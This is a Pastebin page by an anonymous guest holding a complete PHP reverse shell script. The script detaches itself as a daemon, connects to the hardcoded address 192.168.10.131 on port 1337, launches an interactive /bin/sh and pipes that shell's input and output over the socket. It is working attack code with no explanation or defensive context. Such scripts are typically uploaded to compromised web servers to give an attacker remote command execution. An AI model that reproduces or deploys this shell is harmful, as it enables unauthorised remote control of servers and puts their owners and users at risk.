Advertisement
Guest User

Untitled

a guest
Dec 11th, 2019
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.28 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. set_time_limit (0);
  5. $VERSION = "1.0";
  6. $ip = '192.168.10.131'; // Din IP
  7. $port = 1337; // LEEET LMAO
  8. $chunk_size = 1400;
  9. $write_a = null;
  10. $error_a = null;
  11. $shell = 'uname -a; w; id; /bin/sh -i';
  12. $daemon = 0;
  13. $debug = 0;
  14.  
  15. if (function_exists('pcntl_fork')) {
  16.  
  17. $pid = pcntl_fork();
  18.  
  19. if ($pid == -1) {
  20. printit("ERROR: Can't fork");
  21. exit(1);
  22. }
  23.  
  24. if ($pid) {
  25. exit(0);
  26. }
  27.  
  28.  
  29. if (posix_setsid() == -1) {
  30. printit("Error: Can't setsid()");
  31. exit(1);
  32. }
  33.  
  34. $daemon = 1;
  35. } else {
  36. printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
  37. }
  38.  
  39.  
  40. chdir("/");
  41.  
  42. umask(0);
  43.  
  44.  
  45. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  46. if (!$sock) {
  47. printit("$errstr ($errno)");
  48. exit(1);
  49. }
  50.  
  51. $descriptorspec = array(
  52. 0 => array("pipe", "r"),
  53. 1 => array("pipe", "w"),
  54. 2 => array("pipe", "w")
  55. );
  56.  
  57. $process = proc_open($shell, $descriptorspec, $pipes);
  58.  
  59. if (!is_resource($process)) {
  60. printit("ERROR: Can't spawn shell");
  61. exit(1);
  62. }
  63.  
  64.  
  65. stream_set_blocking($pipes[0], 0);
  66. stream_set_blocking($pipes[1], 0);
  67. stream_set_blocking($pipes[2], 0);
  68. stream_set_blocking($sock, 0);
  69.  
  70. printit("Successfully opened reverse shell to $ip:$port");
  71.  
  72. while (1) {
  73.  
  74. if (feof($sock)) {
  75. printit("ERROR: Shell connection terminated");
  76. break;
  77. }
  78.  
  79.  
  80. if (feof($pipes[1])) {
  81. printit("ERROR: Shell process terminated");
  82. break;
  83. }
  84.  
  85.  
  86. $read_a = array($sock, $pipes[1], $pipes[2]);
  87. $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  88.  
  89.  
  90. if (in_array($sock, $read_a)) {
  91. if ($debug) printit("SOCK READ");
  92. $input = fread($sock, $chunk_size);
  93. if ($debug) printit("SOCK: $input");
  94. fwrite($pipes[0], $input);
  95. }
  96.  
  97.  
  98. if (in_array($pipes[1], $read_a)) {
  99. if ($debug) printit("STDOUT READ");
  100. $input = fread($pipes[1], $chunk_size);
  101. if ($debug) printit("STDOUT: $input");
  102. fwrite($sock, $input);
  103. }
  104.  
  105. if (in_array($pipes[2], $read_a)) {
  106. if ($debug) printit("STDERR READ");
  107. $input = fread($pipes[2], $chunk_size);
  108. if ($debug) printit("STDERR: $input");
  109. fwrite($sock, $input);
  110. }
  111. }
  112.  
  113. fclose($sock);
  114. fclose($pipes[0]);
  115. fclose($pipes[1]);
  116. fclose($pipes[2]);
  117. proc_close($process);
  118.  
  119.  
  120. function printit ($string) {
  121. if (!$daemon) {
  122. print "$string\n";
  123. }
  124. }
  125.  
  126. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement